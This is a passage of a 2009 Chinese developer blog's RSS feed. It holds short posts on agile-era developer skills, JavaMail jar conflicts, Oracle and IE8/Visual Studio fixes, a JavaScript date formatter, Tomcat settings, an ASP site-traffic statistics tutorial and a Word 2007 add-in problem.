&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;当敏捷开发第一次冲击主流的开发意识时，我跟许多开发者一样持怀疑的观点。因为它抛弃了控制、标准等，看起来是一种完全与传统方法相悖的开发方法。但随着时间的发展，敏捷背后的思想被定义的越来越好，应用得也越来越棒。许多开发或者采用敏捷，或者在敏捷开发的实验阶段。尽管敏捷不是失败项目的万灵药，但它确实在软件开发中有一席之地。那些对敏捷有很好的理解并且有应用经历的开发者必将在未来五年内成为抢手货。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;strong&gt;&lt;span style="font-family: Arial;"&gt;8&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，业务领域知识&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;开发团队越来越被看做是项目的合作者，这意味着了解该领域的开发者将对该项目的贡献更大。有了敏捷，开发者可以说我们可以在这儿很简单地增加这个功能，而这将让我们的产品更具价值。或者这个要求不符合我们日志显示的常用类型。由于越来越多的程序员反对必须了解该领域内的所有问题（实际上也不可能做到），所以不可否认的是越来越多的企业希望开发者起码了解该领域内的基础知识，越多越好。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: Arial;"&gt;9&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，质量控制&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;几年前的时候，很多企业和产品没有&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;bug&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;跟踪系统、没有版本控制和其他类似的工具，所写出的代码和产品都只是跟程序员和他所用的&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;IDE&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;有关。幸而开发领域有了新的、集成的工具如&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Microsoft Visual Studio Team System&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，而且产品、代码高质量及可用性的透明度提高，开源环境等，现在没有这种工具的企业已经越来越少稀少。开发者除了知道如何源代码控制、如何使用&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;VM&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;系统构建测试环境之外，还要做更多的质量控制工作，并具备很好的清洁意识来确保他与他的团队协调一致。那些将代码处存在个人硬盘中，没有记录代码变更、任务目录等的开发者，不但在传统的开发环境中不受欢迎，在敏捷的开发环境中也不受欢迎。&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: Arial;"&gt;10&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，移动开发&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: 宋体;"&gt;在上世纪&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;90&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;年代末，&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;Web&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;开发一跃成为主流并且将原来传统的桌面应用开发边缘化。在&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;2008&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;，移动开发大肆进入人们的视野，而且至少在五年内移动开发都将是开发领域的重中之重。当然移动开发的方式有很多种，但无论你选择哪一种都将令你成为未来的抢手货。（译&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;/&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;王玉磊）&lt;/span&gt;&lt;span style="font-family: Arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #051818; font-size: 10pt;"&gt;&lt;span style="font-family: Arial;"&gt;(&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;责编&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;/&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;杨东杰&lt;/span&gt;&lt;span style="font-family: Arial;"&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=192</guid><pubDate>Fri, 10 Apr 2009 10:51:36 GMT</pubDate></item><item><title>关于javaMail和javaEE5自带mail冲突的【解决方法】附下载地址</title><link>http://www.chendw.cn:8080/view.aspx?id=188</link><description>&lt;div class="blog_content"&gt;用javaMail发送邮件时，报以下错误，经查是版本问题，已解决 &lt;br /&gt;Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/mail/util/LineInputStream &lt;br /&gt;当出现以上错误时，恭喜您已经离接收邮件不远了，否则请您解决好所有的异常后再来看这个帖子。 &lt;br /&gt;&lt;br /&gt;javax.mail和javax.activation这两个包已经在javaEE5当中属于基础包了，就是JDK中自带了已经，但是里面的方法与现在外面的mail.jar和activation.jar有一些出入，所以初学者在直接copy别人代码的时候往往会出现上面的错误。 &lt;br /&gt;废话不多说下面是解决方法 &lt;br /&gt;进到 MyEclipse 安装目录下删除以下文件&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #ff0000;"&gt;\myeclipse\eclipse\plugins\com.genuitec.eclipse.j2eedt.core_6.5.0.zmyeclipse650200806\data\libraryset\EE_5 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;这个路径里,可以看到javaee.jar,用rar把这个文件打开,然后进到javax文件夹里,删除mail.jar和activation.jar(我的javaee.jar里，这两个东西是文件夹，总之删掉就OK，不过要注意备份一下)&lt;/div&gt;
&lt;div class="blog_content"&gt;然后把&lt;span style="color: #ff0000;"&gt;mail.jar和activation.jar包放到web-inf目录下&lt;/span&gt;&lt;/div&gt;
&lt;div class="blog_content"&gt;&lt;span style="color: #ff0000;"&gt;&lt;span style="color: #000000;"&gt;mail.jar和activation.jar的下载地址:&lt;/span&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2009/04/0917fad5665b4d49806c8afc154c86c6.rar" target="_blank"&gt;Lib.rar&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=188</guid><pubDate>Fri, 10 Apr 2009 05:36:54 GMT</pubDate></item><item><title>Flex 应用开发视频教程</title><link>http://www.chendw.cn:8080/view.aspx?id=186</link><description>&lt;p&gt;&lt;a href="http://subject.csdn.net/flexapp/"&gt;http://subject.csdn.net/flexapp/&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=186</guid><pubDate>Thu, 09 Apr 2009 12:55:06 GMT</pubDate></item><item><title>HTML 5 参考手册</title><link>http://www.chendw.cn:8080/view.aspx?id=185</link><description>&lt;p&gt;&lt;a href="http://www.w3school.com.cn/html5/index.asp"&gt;http://www.w3school.com.cn/html5/index.asp&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=185</guid><pubDate>Thu, 09 Apr 2009 12:51:44 GMT</pubDate></item><item><title>oracle10g主机身份证明错误的【解决办法】</title><link>http://www.chendw.cn:8080/view.aspx?id=181</link><description>&lt;p&gt;&amp;nbsp; 最近在使用 Enterprise Manager 时总被这个问题困扰，一直以为是软件的bug，或者oracle另外自定义了一个专用于管理的主机帐号。无意中看到了解决该问题的文章，才知道原来是权限问题。但是EM给出的却是用户密码错误的提示，确实有误导的嫌疑。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 原文章内容如下：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 我们通过oracle10g的Enterprise Manager 来启动关闭数据库或者进行备份的时候，老是让我们输入一个主机身份证明的用户名和密码，我们输入操作系统的用户名和密码，系统往往报错，显示错误的用户名和密码，经过查阅相关的数据库资料，终于找到了相关的解决办法：&lt;br /&gt;　　1、这个主机身份证明仅仅具有Administrator权限还不够，还必须必须在本地安全策略中进行注册。操作如下，打开控制面 板\管理工具\本地安全策略，在左侧页面的本地策略\用户权利指派中找到作为批处理作业登录选项，双击打开，把Administrator用户加入用户组，点击确定。&lt;br /&gt;　　2、重新输入主机身份证明的用户名和密码（也就是注册的Administrator用户名和密码），问题得到解决。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=181</guid><pubDate>Fri, 10 Apr 2009 08:00:27 GMT</pubDate></item><item><title>JAVA自测题栏目正式上线，测测你的Java功力！</title><link>http://www.chendw.cn:8080/view.aspx?id=180</link><description>&lt;p&gt;&lt;a title="JAVA自测题栏目正式上线，测测你的Java功力！" onclick="function onclick() { LogClickCount(this,79); }" href="http://blog.csdn.net/java2000_net/archive/2009/04/01/4042034.aspx" target="_blank"&gt;&lt;span style="color: #000000;"&gt;JAVA自测题栏目正式上线，测测你的Java功力！&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.java2000.net/selftest/" target="_blank"&gt;点击进入&lt;/a&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=180</guid><pubDate>Thu, 02 Apr 2009 10:49:01 GMT</pubDate></item><item><title>IE8引发VS2005/2008向导出错的解决方案</title><link>http://www.chendw.cn:8080/view.aspx?id=179</link><description>&lt;p&gt;IE正式版引发VS2005和VS2008向导出错的解决方案.这个是VC++团队给出的.&lt;br /&gt;第一时间测试成功.老外给出的解决方案,测试有效,大家试试.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请按照以下步骤做: &lt;/strong&gt;&lt;br /&gt;-&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 启动注册表编辑器 regedit (在64位系统上也可以启动32位版本)&lt;br /&gt;-&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 找到&amp;ldquo;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet &lt;br /&gt;Settings\Zones&amp;rdquo;, 建立一个名为1000的新键(如果没有的话).&lt;br /&gt;-&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 在这个1000的键下,建立如下DWORD内容:&lt;br /&gt;o&amp;nbsp; Name = 1207 &lt;br /&gt;o&amp;nbsp; Type = REG_DWORD &lt;br /&gt;o&amp;nbsp; Data = 0x000000&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=179</guid><pubDate>Thu, 02 Apr 2009 00:23:33 GMT</pubDate></item><item><title>JS格式日期函数</title><link>http://www.chendw.cn:8080/view.aspx?id=178</link><description>&lt;p&gt;&lt;span style="font-family: arial black,avant garde;"&gt;Date.prototype.format = function(format){&lt;br /&gt;&amp;nbsp; var o ={&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "M+" : this.getMonth()+1, //month&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "d+" : this.getDate(),&amp;nbsp;&amp;nbsp;&amp;nbsp; //day&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "h+" : this.getHours(),&amp;nbsp;&amp;nbsp; //hour&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "s+" : this.getSeconds(), //second&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "m+" : this.getMinutes(), //minute&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "q+" : Math.floor((this.getMonth()+3)/3),&amp;nbsp; //quarter &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "S" : this.getMilliseconds() //millisecond&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-family: arial black,avant garde;"&gt;&amp;nbsp; if(/(y+)/.test(format))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; format=format.replace(RegExp.$1,(this.getFullYear()+"").substr(4 - RegExp.$1.length));&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&amp;nbsp; for(var k in o)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(new RegExp("("+ k +")").test(format))&lt;br /&gt;&amp;nbsp;format = format.replace(RegExp.$1,RegExp.$1.length==1 ? o[k] : ("00"+ o[k]).substr((""+ o[k]).length));&lt;br /&gt;&amp;nbsp; return format; &lt;br /&gt;}&lt;/span&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=178</guid><pubDate>Sun, 29 Mar 2009 02:17:15 GMT</pubDate></item><item><title>更改tomcat 命令窗口　标题</title><link>http://www.chendw.cn:8080/view.aspx?id=174</link><description>&lt;div id="blog_text" class="cnt"&gt;可以设置dos命令窗口的标题： &lt;br /&gt;在catalina.bat的162行左右的位置： &lt;br /&gt;
&lt;div class="bar"&gt;&lt;/div&gt;
&lt;p class="dp-highlighter"&gt;&lt;span&gt;&lt;span class="keyword"&gt;&lt;strong&gt;&lt;span style="color: #7f0055;"&gt;if&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span&gt; not &lt;/span&gt;&lt;span class="string"&gt;&lt;span style="color: #0000ff;"&gt;"%OS%"&lt;/span&gt;&lt;/span&gt;&lt;span&gt; == &lt;/span&gt;&lt;span class="string"&gt;&lt;span style="color: #0000ff;"&gt;"Windows_NT"&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span class="keyword"&gt;&lt;strong&gt;&lt;span style="color: #7f0055;"&gt;goto&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span&gt; noTitle&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="dp-highlighter"&gt;&lt;span&gt;set _EXECJAVA=start &lt;/span&gt;&lt;span class="string"&gt;&lt;span style="color: #0000ff;"&gt;"超级web001"&lt;/span&gt;&lt;/span&gt;&lt;span&gt; %_RUNJAVA% &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="keyword"&gt;&lt;strong&gt;&lt;span style="color: #7f0055;"&gt;goto&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span&gt; gotTitle &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;set _EXECJAVA=start &lt;/span&gt;&lt;span class="string"&gt;&lt;span style="color: #0000ff;"&gt;"超级web001"&lt;/span&gt;&lt;/span&gt;&lt;span&gt; %_RUNJAVA%&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre class="java" style="display: none"&gt;if not "%OS%" == "Windows_NT" goto noTitle set _EXECJAVA=start "超级web001" %_RUNJAVA% goto gotTitle set _EXECJAVA=start "超级web001" %_RUNJAVA%&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=174</guid><pubDate>Sat, 28 Mar 2009 06:42:17 GMT</pubDate></item><item><title>[转]用ASP编写网站流量统计系统</title><link>http://www.chendw.cn:8080/view.aspx?id=173</link><description>&lt;p&gt;　　在目前的网站统计系统决大部分都是CGI的，但编写起来特别复杂，而ASP学起来简单，更有和数据库结合的优点，所以结合自己曾经做过的网站统计系统，和大家探讨一下ASP编写网站统计系统。&lt;/p&gt;
&lt;p&gt;　　大家都看过网易的网站统计系统，它可以统计总访问量，每日平均访问量，当日访问量，最高访问量，最高访问日期，日流量分析，月流量分析，周流量分析，浏览器分析，等等。&lt;/p&gt;
&lt;p&gt;　　其实要做一个ASP的访问统计系统关键是系统表结构的设计。以及如何来采集用户的CGI变量，如何来显示用户的信息。也就是说系统的关键是两个ASP程序，统计程序和显示程序。&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;　　首先我们先看看如何来采集用户的访问信息。&lt;/p&gt;
&lt;p&gt;　　我们编写访问统计需要知道用户的如下信息，访问者的IP（根据访问IP可以形成访问者IP列表），访问者的浏览器与操作系统（统计访问者的浏览器与操作系统及所有访问者浏览器与操作系统比例图），访问者的访问时间（进行日访问量分析，月访问量分析，周访问量分析），下面我们来看看用ASP的获得以上信息的语句：&lt;/p&gt;
&lt;p&gt;　　1、获得访问者IP&lt;/p&gt;
&lt;p&gt;　　Dim M_IP&lt;/p&gt;
&lt;p&gt;　　M_IP=Request.Servervariables(REMOTE_HOST)&lt;/p&gt;
&lt;p&gt;　　用上面的语句可以取得访问者的IP。&lt;/p&gt;
&lt;p&gt;　　2、获得浏览器信息&lt;/p&gt;
&lt;p&gt;　　Dim O_Browser,M_BrowserType&lt;/p&gt;
&lt;p&gt;　　Set O_Browser=Server.Createobject(MSWC.BrowserType)&lt;/p&gt;
&lt;p&gt;　　M_BrowserType=O_Browser.Browser+O_Browser.Version&lt;/p&gt;
&lt;p&gt;　　3、获得访问时间&lt;/p&gt;
&lt;p&gt;　　Dim M_DateTime&lt;/p&gt;
&lt;p&gt;　　M_DateTime=Year(Date())amp;/Right(0Month(Date()),2)/Right(0Day(Date()),2)/Right(0Hour(Time()),2):Right(0Minute(Time()),2):Right(0Second(Time()),2)&lt;/p&gt;
&lt;p&gt;　　4、取得用户的操作系统。&lt;/p&gt;
&lt;p&gt;　　在ASP中使用如下语句可以得到访问者的http_user_agent字符串。&lt;/p&gt;
&lt;p&gt;　　Dim StrUserAgent&lt;/p&gt;
&lt;p&gt;　　StrUserAgent=Request.ServerVariables(HTTP_USER_AGENT)&lt;/p&gt;
&lt;p&gt;　　这个字符串一般是如下格式：&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)&lt;/p&gt;
&lt;p&gt;　　上面的字符串可以说明访问者使用的操作系统是Windows98,浏览器是MSIE 4.01,但是这个字符串格式不固定，而且可以自己更改。&lt;/p&gt;
&lt;p&gt;　　平常我们所见的其它一些主要的UserAgent字符串如下：&lt;/p&gt;
&lt;p&gt;　　使用IE的浏览器：&lt;/p&gt;
&lt;p&gt;　　Mozilla/2.0 (compatible; MSIE 3.01; Windows 95)&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; MSIE 4.0; Windows 95);&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; MSIE 5.0; Windows 98);&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; MSIE 5.0b2; Windows NT)&lt;/p&gt;
&lt;p&gt;　　使用NetScape的浏览器：&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.03 〔en〕 (Win95; I)&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.08 〔en〕 (WinNT; U ;Nav)&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.5 〔en〕 (WinNT; U)&lt;/p&gt;
&lt;p&gt;　　Mozilla/3.04Gold (Win95; I)&lt;/p&gt;
&lt;p&gt;　　使用Opera的浏览器：&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; Opera/3.0; Windows 95) 3.50b10&lt;/p&gt;
&lt;p&gt;　　FrontPage编辑器：&lt;/p&gt;
&lt;p&gt;　　Mozilla/2.0 (compatible; MS FrontPage 3.0)&lt;/p&gt;
&lt;p&gt;　　使用Sun操作系统：&lt;/p&gt;
&lt;p&gt;　　Mozilla/3.01Gold (X11; I; SunOS 5.7 i86pc)&lt;/p&gt;
&lt;p&gt;　　使用PowerPc的Mac机：&lt;/p&gt;
&lt;p&gt;　　Mozilla/4.0 (compatible; MSIE 4.5; Mac_PowerPC)&lt;/p&gt;
&lt;p&gt;　　通过分析以上字符串，我们可以找出规律，编写一个子程序来判断访问者用的是何种操作系统,又由于用ASP中的判断浏览器类型的控件需要更新Browser.ini文件，所以我们可以结合这个字符串来判断浏览器属性。&lt;/p&gt;
&lt;p&gt;　　我们以什么样的方式来统计网站呢？&lt;/p&gt;
&lt;p&gt;　　我们可以让用户在他的主页上加入如下语句：&lt;/p&gt;
&lt;p&gt;　　＜a href=http://www.abc.com/viewer.asp?userid=username＞＜img src=http://www.abc.com/counter.asp?userid=username＞＜/a＞上面的userid是具体哪一个用户，要注意用户和访问者不是一个概念。&lt;/p&gt;
&lt;p&gt;　　通过上面的字符串我们就可以采集用户的访问数据，并给用户提供观看数据的链接。在我们看加有网易的统计系统的页面时会发现它会返回给用户一个图标，我们就可以在counter.asp中实现这个功能。&lt;/p&gt;
&lt;p&gt;　　加入：response.redirect http://www.abc.com/abc.gif&lt;/p&gt;
&lt;p&gt;　　这个语句我们可以加在统计数据采集后返回给用户。&lt;/p&gt;
&lt;p&gt;　　如何设计数据表结构？&lt;/p&gt;
&lt;p&gt;　　设计表结构是一项极其重要的工作，它的合理与否与程序的编制紧密相关。&lt;/p&gt;
&lt;p&gt;　　一个网站统计系统应该有一个用户表，统计值表。&lt;/p&gt;
&lt;p&gt;　　这个用户表也就是保留注册用户信息的表，统计值表就是记录用户的每一项统计指标值的表。在统计值的表中我们可以指定用户的统计指标，我们可把每一个指标用一个ID值来表示,这里我们简单举例。&lt;/p&gt;
&lt;p&gt;　　用户表：&lt;/p&gt;
&lt;p&gt;　　Table Name:regist_table&lt;/p&gt;
&lt;p&gt;　　Field type&lt;/p&gt;
&lt;p&gt;　　username C 用户名&lt;/p&gt;
&lt;p&gt;　　password C 密码&lt;/p&gt;
&lt;p&gt;　　regdate C 注册时间&lt;/p&gt;
&lt;p&gt;　　值表：&lt;/p&gt;
&lt;p&gt;　　Table Name:value_table&lt;/p&gt;
&lt;p&gt;　　Field type&lt;/p&gt;
&lt;p&gt;　　username c 用户名&lt;/p&gt;
&lt;p&gt;　　id c 统计指标ID&lt;/p&gt;
&lt;p&gt;　　value i&lt;/p&gt;
&lt;p&gt;　　datetime c 统计指标的值&lt;/p&gt;
&lt;p&gt;　　Id列表：&lt;/p&gt;
&lt;p&gt;　　Table Name:id_table&lt;/p&gt;
&lt;p&gt;　　Field type&lt;/p&gt;
&lt;p&gt;　　id C 统计指标ID&lt;/p&gt;
&lt;p&gt;　　idvalue C 统计指标的说明&lt;/p&gt;
&lt;p&gt;　　有了这三个表我们就可以开始做了。&lt;/p&gt;
&lt;p&gt;　　如我们可以指定以下ID&lt;/p&gt;
&lt;p&gt;　　id idvalue&lt;/p&gt;
&lt;p&gt;　　101 总访问量&lt;/p&gt;
&lt;p&gt;　　201 1日访问量&lt;/p&gt;
&lt;p&gt;　　202 2日访问量&lt;/p&gt;
&lt;p&gt;　　: :&lt;/p&gt;
&lt;p&gt;　　: :&lt;/p&gt;
&lt;p&gt;　　231 31日访问量&lt;/p&gt;
&lt;p&gt;　　要想对用户开始统计我们必须得先让用户注册，用户使用的流程如下：&lt;/p&gt;
&lt;p&gt;　　填注册表-＞初始用户的value表（把对应的ID加入）-＞把注册信息反馈给用户-＞用户在自己的页面上加入链接-＞开始统计&lt;/p&gt;
&lt;p&gt;　　能采集数据我们都能采到了，那么我们就开始编制ASP的统计页面。&lt;/p&gt;
&lt;p&gt;　　这一页我们叫计数页，counter.asp&lt;/p&gt;
&lt;p&gt;　　这段asp代码我们需要让它按如下的流程进行采集数据并保存数据和更新数据：&lt;/p&gt;
&lt;p&gt;　　采集用户名,判断用户名是否合法,采集访问者的信息，对信息进行加工，进行保存和更新数据库，返回logo图标。&lt;/p&gt;
&lt;p&gt;　　调用这个ASP用counter.asp?user=abc这个方式。&lt;/p&gt;
&lt;p&gt;　　采集用户名我们可以用Request对象的相应方法取得，然后检查用户表判断用户是否合法，然后取信息，用我们上面讲到的取得相应信息的方法取得信息，然后进行加工保存在数据表里，但最重要的是如何对数据进行更新，如当日每小时访问统计数，当天每小时统计数等，我们如何对每天的数据进行更新是这个程式的要点，我们可以采取几种方式，如对每天的每个小时的记录的更新我们采取在每天午夜12点更新，对每月的每一天的数据我们在月份切换的那一天进行更新。&lt;/p&gt;
&lt;p&gt;　　下面我讲一下具体的流程，以月份统计举例：&lt;/p&gt;
&lt;p&gt;　　1，得出上一次的统计的日期时间&lt;/p&gt;
&lt;p&gt;　　2，得出当前的日期时间，当前月份并转化成相应的ID&lt;/p&gt;
&lt;p&gt;　　3，判断当前月份与上一次月份是否相同，如果相同则给总数加1，当前月的ID累加1，如不相同则清零所有月份ID，只给总数ID加1&lt;/p&gt;
&lt;p&gt;　　4，根据月份统计我们可以做一下小时统计，周统计，天统计。&lt;/p&gt;
&lt;p&gt;　　按如上的流程我们就可以做统计页了,要注意每个ID的分配要分类明确代表的含义要明晰&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=173</guid><pubDate>Fri, 10 Apr 2009 10:58:25 GMT</pubDate></item><item><title>【转】Word 2007里无法使用鼠标的【解决方法】</title><link>http://www.chendw.cn:8080/view.aspx?id=172</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;div class="postBody"&gt;
&lt;p&gt;因为装了 Powerdesigner 12.5，这个 COM 插件和 Word 2007 有冲突，所以导致了上面的问题，只要在 Word 移除这个 Addin 就可以了。&lt;/p&gt;
&lt;p&gt;PS:&lt;/p&gt;
&lt;p&gt;去掉不需要的加载项与模板,给Word2007减负&lt;/p&gt;
&lt;p&gt;微软Word加载项可以为Word添加很多新功能，比如给Word设置稿纸、添加书法、为绘制斜线表头做向导以及信封向导等等，加载项作为一个Word补充 程序，安装这些补充程序可以添加自定义命令和专用功能，从而能扩展 Microsoft Office Word 的功能，如著名截图软件Snagit就会向Word中添加自己本身的加载项，但是对于相当多发普通用户来说，几乎是不可能能用到这些功能的，所以 每次启动Word自动加载这些加载项实在是浪费电脑系统资源，要想保留内存并加快 Word 的运行速度，最好卸载不常用的模板和加载项程序，下面就介绍具体的办法。&lt;/p&gt;
&lt;p&gt;第一步：单击&amp;ldquo;Microsoft Office 按钮&amp;rdquo;，执行&amp;ldquo;Word 选项&amp;rdquo;命令，单击&amp;ldquo;加载项&amp;rdquo;标签， 在&amp;ldquo;管理&amp;rdquo;列表中，选择&amp;ldquo;Word 加载项&amp;rdquo;，然后单击&amp;ldquo;转到&amp;rdquo;按钮。&lt;/p&gt;
&lt;p&gt;第二步：在打开的对话框中单击&amp;ldquo;模板&amp;rdquo;选项卡，如果仅仅只是卸载模板或加载项，但仍将其保留在&amp;ldquo;共用模板及加载项&amp;rdquo;下，那么只要清除该项的名称旁边的复 选框即可。 如果想要彻底卸载模板或加载项并将其从&amp;ldquo;共用模板及加载项&amp;rdquo;下的框中删除，那么在该框中单击该项，然后单击&amp;ldquo;删除&amp;rdquo;，如图。 &lt;br /&gt;. &lt;br /&gt;小提示：如果所选模板位于Word启动文件&amp;ldquo;C:\Documents and Settings\Administrator\Application Data\Microsoft\Word\STARTUP&amp;rdquo;文件夹中，那么这时&amp;ldquo;删除&amp;rdquo;按钮不可用，所以大家对加载项进行管理时，如果不是特别需要 Word自启动的加载项那么最好将其从STARTUP文件夹中转移。&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=172</guid><pubDate>Sun, 29 Mar 2009 05:59:23 GMT</pubDate></item><item><title>java.net.MalformedURLException: unknown protocol: d</title><link>http://www.chendw.cn:8080/view.aspx?id=171</link><description>&lt;div id="blog_text" class="cnt"&gt;
